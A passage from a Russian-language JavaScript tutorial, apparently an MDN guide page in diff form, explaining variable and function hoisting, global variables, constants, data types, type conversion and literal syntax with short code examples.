+<p>Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как <strong>поднятие</strong> (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые еще не были инициализированы, возвратят значение <code>undefined</code>:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/*
+ * Example 1
+*/
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">===</span> undefined<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // true
+</span><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">;</span>
+
+<span class="comment token" style="color: #708090;">/*
+ * Example 2
+*/</span><span class="comment token" style="color: #708090;">
+</span><span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"my value"</span><span class="punctuation token" style="color: #999999;">;</span>
+
+<span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>myvar<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // undefined
+</span>  <span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"local value"</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>Приведенные выше примеры будут интерпретироваться так же, как:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">/*
+ * Example 1
+*/
+</span><span class="keyword token" style="color: #0077aa;">var</span> x<span class="punctuation token" style="color: #999999;">;</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">===</span> undefined<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // true
+</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">;</span>
+
+<span class="comment token" style="color: #708090;">/*
+ * Example 2
+*/
+</span><span class="keyword token" style="color: #0077aa;">var</span> myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"my value"</span><span class="punctuation token" style="color: #999999;">;</span>
+
+<span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">var</span> myvar<span class="punctuation token" style="color: #999999;">;</span>
+  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>myvar<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // undefined
+</span>  myvar <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"local value"</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>Из-за поднятия переменных, все операторы <code>var</code> в функции следует размещать настолько близко к началу функции, насколько это возможно. Следование этому правилу улучшает ясность кода.</p>
+
+<p>В ECMAScript 2015, <code>let (const)</code> <strong>не будет подниматься </strong>вверх блока. Однако, ссылки на переменную в блоке до объявления переменной вызовут  {{jsxref("ReferenceError")}}<code>.</code> Переменная во "временной мёртвой зоне" в начале блока, до объявления.</p>
+
+<pre class="brush: js">function do_something() {
+  console.log(foo); // ReferenceError
+  let foo = 2;
+}</pre>
+
+<h3 id="Поднятие_функций">Поднятие функций</h3>
+
+<p>Для функций: только определения функций поднимаются наверх, но не функции, определённые через выражения.</p>
+
+<pre class="brush: js">/* Определение функции */
+foo(); // "bar"
+
+function foo() {
+  console.log("bar");
+}
+
+/* Определение функции через выражение */
+baz(); // TypeError: baz is not a function
+
+var baz = function() {
+  console.log("bar2");
+};
+</pre>
+
+<h3 id="Глобальные_переменные">Глобальные переменные</h3>
+
+<p>Глобальные переменные на самом деле являются свойствами <em>глобального объекта</em>. На веб-страницах глобальным объектом является {{domxref("window")}}, поэтому вы можете устанавливать глобальные переменные и обращаться к ним, используя синтаксис <code>window.<em>variable</em></code>:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">window</span></code><span style="color: #999999; font-style: inherit; font-weight: inherit; white-space: pre;">.</span><code class="language-js" style="direction: ltr; white-space: pre;">foo <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'bar'</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>Следовательно, вы можете обращаться к глобальным переменным, объявленным в одном объекте window или frame из другого объекта window или frame, указав имя window или frame. Например, если переменная <code>phoneNumber</code> объявлена в документе, то вы можете сослаться на эту переменную из iframe как <code>parent.phoneNumber</code>.</p>
+
+<h3 id="Константы"><a id="Constants" name="Constants">Константы</a></h3>
+
+<p>Вы можете создать именованную константу, доступную только для чтения, используя ключевое слово {{jsxref("Statements/const", "const")}}. Синтаксис идентификатора константы является таким же, как и у идентификатора переменной: он должен начинаться с буквы, нижнего подчеркивания или знака $ и может содержать буквы, цифры или нижнее подчеркивание.</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">const</span> PREFIX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'212'</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>Нельзя изменить значение константы через присваивание или повторное объявление во время выполнения скрипта. Значение должно быть указано при инициализации.</p>
+
+<p>Правила, касающиеся области видимости, для констант являются такими же, как и для переменных, объявленных через <code>let</code>. Если ключевое слово <code>const</code> не указано, то идентификатор будет являться переменной.</p>
+
+<p>Нельзя объявить константу с таким же именем, как у функции или переменной в одной области видимости. Следующие примеры выбросят исключение <code>TypeError</code>:</p>
+
+<pre class="brush: js"><span style="color: #696969;">// Это вызовет ошибку </span>
+function f() <span style="color: #800080;">{</span><span style="color: #800080;">}</span>
+const f = 5<span style="color: #808030;">;</span> <span style="color: #696969;">
+
+// Это тоже вызовет ошибку </span>
+function f() <span style="color: #800080;">{
+</span>  const g <span style="color: #808030;">=</span> <span style="color: #008c00;">5</span><span style="color: #800080;">;</span>
+  var g<span style="color: #800080;">;</span>
+
+<span style="color: #696969;">  // какие-то выражения </span>
+<span style="color: #800080;">}</span> </pre>
+
+<p>Однако, атрибуты объектов не защищены, так что следующее выражение выполнится без проблем</p>
+
+<pre class="brush: js">const MY_OBJECT = {"key": "value"};
+MY_OBJECT.key = "otherValue";</pre>
+
+<h2 id="Структуры_и_типы_данных">Структуры и типы данных</h2>
+
+<h3 id="Типы_данных">Типы данных</h3>
+
+<p>Последний стандарт ECMAScript определяет семь типов данных:</p>
+
+<ul>
+ <li>Шесть типов данных,  которые являются {{Glossary("Primitive", "примитивами")}}:
+  <ul>
+   <li>{{Glossary("Boolean")}}. <code>true</code> и <code>false</code>.</li>
+   <li>{{Glossary("null")}}. Специальное ключевое слово, обозначающее нулевое или «пустое» значение. Поскольку JavaScript чувствителен к регистру, <code>null</code> не то же самое, что <code>Null</code>, <code>NULL</code> или любой другой вариант.</li>
+   <li>{{Glossary("undefined")}}. Свойство глобального объекта; переменная, не имеющая присвоенного значения, обладает типом <code style="font-style: normal;">undefined</code>.</li>
+   <li>{{Glossary("Number")}}. <code>42</code> или <code>3.14159</code>.</li>
+   <li>{{Glossary("String")}}. "Howdy".</li>
+   <li>{{Glossary("Symbol")}} (ECMAScript 6)</li>
+  </ul>
+ </li>
+ <li>и {{Glossary("Object")}}</li>
+</ul>
+
+<p>Хотя типов данных относительно немного, но они позволяют вам выполнять полезные функции в ваших приложениях. {{jsxref("Object", "Объекты")}} и {{jsxref("Function", "функции")}} являются другими фундаментальными элементами языка. Вы можете думать об объектах как об именованных контейнерах для значений и о функциях как о процедурах, которые ваше приложение может исполнять.</p>
+
+<h3 id="Преобразование_типов_данных">Преобразование типов данных</h3>
+
+<p>JavaScript — это динамически типизированный язык. Это означает, что вам не нужно указывать тип данных переменной, когда вы ее объявляете, типы данных преобразуются автоматически по мере необходимости во время выполнения скрипта. Так, например, вы можете определить переменную следующим образом:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> answer <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>А позже вы можете присвоить этой переменной строковое значение, например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;">answer <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"Thanks for all the fish..."</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>Поскольку JavaScript является динамически типизированным, это присваивание не вызовет сообщения об ошибке.</p>
+
+<p>В выражениях, включающих числовые и строковые значения с оператором <code>+</code>, JavaScript преобразует числовые значения в строковые. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;">x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"The answer is "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">42</span><span class="comment token" style="color: #708090;"> // "The answer is 42"
+</span>y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">42</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">" is the answer"</span><span class="comment token" style="color: #708090;"> // "42 is the answer"</span></code></pre>
+
+<p>В выражениях с другими операторами JavaScript не преобразует числовые значения в строковые. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="string token" style="color: #669900;">"37"</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">7</span><span class="comment token" style="color: #708090;"> // 30
+</span><span class="string token" style="color: #669900;">"37"</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="number token" style="color: #990055;">7</span><span class="comment token" style="color: #708090;"> // "377"</span></code></pre>
+
+<h3 id="Преобразование_строк_в_числа">Преобразование строк в числа</h3>
+
+<p>В том случае, если значение, представляющее число, хранится в памяти как строка, можно использовать методы для преобразования строк в числа:</p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt(numString, [radix])")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat(numString)")}}</li>
+</ul>
+
+<p><code>parseInt</code> преобразует строку в целочисленное значение. Хорошей практикой является всегда указывать основание системы счисления (параметр <code>radix</code>).</p>
+
+<p>Альтернативным способом для получения числа из строки является использование оператора "унарный плюс":</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="string token" style="color: #669900;">"1.1"</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"1.1"</span>       <span class="comment token" style="color: #708090;">// "1.11.1"</span>
+<span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="string token" style="color: #669900;">"1.1"</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="punctuation token" style="color: #999999;">(</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="string token" style="color: #669900;">"1.1"</span><span class="punctuation token" style="color: #999999;">)</span> </code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// 2.2</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">
+// Обратите внимание на то, что скобки не являются обязательными и используются для ясности.</span></code></pre>
+
+<h2 id="Литералы">Литералы</h2>
+
+<p>Литералы используются для представления значений в JavaScript. Они являются фиксированными значениями, а не переменными. В данной секции рассматриваются следующие типы литералов:</p>
+
+<ul>
+ <li>{{anch("Литерал массива")}}</li>
+ <li>{{anch("Логический литерал")}}</li>
+ <li>{{anch("Литерал целого числа")}}</li>
+ <li>{{anch("Литерал числа с плавающей точкой")}}</li>
+ <li>{{anch("Литерал объекта")}}</li>
+ <li>{{anch("RegExp литерал")}}</li>
+ <li>{{anch("Литерал строки")}}</li>
+</ul>
+
+<h3 id="Литерал_массива">Литерал массива</h3>
+
+<p>Литерал массива — это список из нуля или более выражений, каждое из которых представляет элемент массива, заключенный в квадратные скобки ( <code>[]</code> ). Когда вы создаете массив, используя литерал массива, он инициализируется с помощью переданных значений, которые будут являться его элементами, длина массива будет равна числу переданных аргументов.</p>
+
+<p>В следующем примере создается массив <code>coffees</code> с тремя элементам и длиной, равной трем:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> coffees <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"French Roast"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Colombian"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Kona"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">;</span></code>
+</pre>
+
+<div class="note">
+<p><strong>Замечание :</strong> Обратите внимание на то, что литерал массива является инициализатором объекта. Чтобы получить более подробную информацию, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Working_with_Objects#.D0.98.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D0.B8.D0.BD.D0.B8.D1.86.D0.B8.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.82.D0.BE.D1.80.D0.BE.D0.B2_.D0.BE.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.B0">Использование инициализаторов объекта</a>.</p>
+</div>
+
+<p>Если массив создается с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создается каждый раз, когда вызывается функция.</p>
+
+<p>Литералы массива также являются объектами <code>Array</code>. Чтобы получить более подробную информацию, прочитайте {{jsxref("Array")}} и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Indexed_collections">упорядоченные наборы данных</a>.</p>
+
+<h4 id="Лишние_запятые_в_литералах_array">Лишние запятые в литералах array</h4>
+
+<p>Не обязательно указывать все элементы в литерале array. Если вы поставите две запятые подряд, то пропущенные элементы будут иметь значение <code>undefined</code>. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> fish <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">"Lion"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"Angel"</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// ["Lion", undefined, "Angel"]</span></code></pre>
+
+<p>У этого массива есть 2 элемента со значениям и один пустой (<code>fish[0]</code> - "Lion", <code>fish[1]</code> - <code>undefined</code>, а <code>fish[2]</code> - "Angel").</p>
+
+<p>Если вы поставите запятую в конце списка элементов, то она будет проигнорирована. В следующем примере, длина массива равна 3. Нет <code>myList[3]</code>. Все другие запятые в списке говорят о новом элементе.</p>
+
+<div class="note">
+<p><strong>Замечание :</strong> Лишние запятые могут вызывать ошибки в старых версиях браузеров, поэтому лучше избегать их использования.</p>
+</div>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span><span class="comment token" style="color: #708090;">// ["home", undefined, "school"]</span></code>
+</pre>
+
+<p>В следующем примере длина массива равна четырем, элементы <code>myList[0]</code> и <code>myList[2]</code> имеют значение <code>undefined</code>:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// [undefined, "home", undefined, "school"]</span></code></pre>
+
+<p>В следующем примере длина массива равна четырем, элементы <code>myList[1]</code> и <code>myList[3]</code> имеют значение <code>undefined</code>. Игнорируется только последняя запятая.</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// ["home", undefined, "school", undefined]</span></code></pre>
+
+<p>Понимание поведения лишних запятых важно для понимания JavaScript как языка. Однако, когда будете писать свой собственный код, то имейте в виду, что явное объявление отсутствующих элементов как <code>undefined</code> улучшает ясность кода и лёгкость его поддержки.</p>
+
+<h3 id="Логические_литералы">Логические литералы</h3>
+
+<p>Логический (Boolean) тип имеет два литеральных значения: <code>true</code> и <code>false</code>.</p>
+
+<p>Не путайте примитивные логические значения <code>true</code> и <code>false</code> со значениями true и false объекта Boolean. Объект Boolean является объектом-обёрткой над примитивом логического типа. Чтобы получить более подробную информацию, прочитайте {{jsxref("Boolean")}}.</p>
+
+<h3 id="Литерал_целого_числа">Литерал целого числа</h3>
+
+<p>Целые числа могут быть записаны в десятичной, шестнадцатеричной, восьмеричной и двоичной системах счисления.</p>
+
+<ul>
+ <li>Десятичный целочисленный литерал состоит из последовательности цифр без ведущего нуля.</li>
+ <li>Ведущий ноль в целочисленном литерале указывает на то, что он записан в восьмеричной системе счисления. Восьмеричные целые числа состоят только из цифр 0-7.</li>
+ <li>Ведущие символы 0x (или 0X) указывают на то, что число шестнадцатеричное. Шестнадцатеричные целые числа могут состоять из цифр 0-9 и букв a-f и A-F. </li>
+ <li>Ведущие символы 0b (или 0B) указывают на то, что число двоичное. Двоичные числа могут включать в себя только цифры 0 и 1.</li>
+</ul>
+
+<p>Несколько примеров целочисленных литералов:</p>
+
+<pre class="eval  language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-html" style="direction: ltr; white-space: pre;">0, 117 и -345 (десятичная система счисления)
+015, 0001 и -077 (восьмеричная система счисления)
+0x1123, 0x00111 и -0xF1A7 (</code>шестнадцатеричная система счисления<code class="language-html" style="direction: ltr; white-space: pre;">)
+0b11, 0b0011 и -0b11 (двоичная система счисления)</code>
+</pre>
+
+<p>Для дополнительной информации смотрите <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar">числовые литералы в лексической грамматике</a>.</p>
+
+<h3 id="Литерал_числа_с_плавающей_точкой">Литерал числа с плавающей точкой</h3>
+
+<p>Числа с плавающей точкой могут состоять из следующих частей:</p>
+
+<ul>
+ <li>Десятичное целое число, которое может иметь знак (символ "+" или "-", стоящий перед числом),</li>
+ <li>Десятичная точка ("."),</li>
+ <li>Дробная часть (другое десятичное число),</li>
+ <li>Экспонента.</li>
+</ul>
+
+<p>Экспонента состоит из символа "e" или "E", за которым следует целое число, которое может иметь знак. Число с плавающей точкой должно состоять по крайней мере из одной цифры и либо десятичной точки, либо символа "e" (или "E").</p>
+
+<p>В более сжатой форме синтаксис выглядит следующим образом:</p>
+
+<pre class="eval  language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-html" style="direction: ltr; white-space: pre;">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]</code></pre>
+
+<p>Примеры:</p>
+
+<pre class="eval  language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-html" style="direction: ltr; white-space: pre;">3.14
+-3.1E+12
+-.3333333333333333333
+.1e-23
+</code></pre>
+
+<h3 id="Литерал_объекта">Литерал объекта</h3>
+
+<p>Литерал объекта — это список из нуля или более пар, состоящих из имен свойств и связанных с ними значений, заключенный в фигурные скобки ( <code>{}</code> ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведет к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.</p>
+
+<p>В следующем примере свойству <code>myCar</code> объекта <code>car</code> присваивается строка <code>"Saturn"</code>, свойству <code>getCar</code> — результат вызова функции <code>CarTypes("Honda")</code>, свойству <code>special</code> — значение переменной <code>Sales</code>:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> Sales <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"Toyota"</span><span class="punctuation token" style="color: #999999;">;</span>
+
+<span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">CarTypes<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="string token" style="color: #669900;">"Honda"</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> name<span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="string token" style="color: #669900;">"Извините, мы не продаём "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"."</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+
+<span class="keyword token" style="color: #0077aa;">var</span> car <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">{</span> myCar<span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"Saturn"</span><span class="punctuation token" style="color: #999999;">,</span> getCar<span class="punctuation token" style="color: #999999;">:</span> <span class="function token" style="color: #dd4a68;">CarTypes<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Honda"</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">,</span> special<span class="punctuation token" style="color: #999999;">:</span> Sales <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>car<span class="punctuation token" style="color: #999999;">.</span>myCar<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>  <span class="comment token" style="color: #708090;"> // Saturn
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>car<span class="punctuation token" style="color: #999999;">.</span>getCar<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // Honda
+</span>console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>car<span class="punctuation token" style="color: #999999;">.</span>special<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // Toyota</span></code></pre>
+
+<p>Кроме того, вы можете использовать числовой или строковой литералы в именах свойств или вкладывать один объект в другой. Например:</p>
+
+<pre class="brush: js  language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> car <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">{</span> manyCars<span class="punctuation token" style="color: #999999;">:</span> <span class="punctuation token" style="color: #999999;">{</span>a<span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"Saab"</span><span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">"b"</span><span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"Jeep"</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">,</span> <span class="number token" style="color: #990055;">7</span><span class="punctuation token" style="color: #999999;">:</span> <span class="string token" style="color: #669900;">"Mazda"</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+
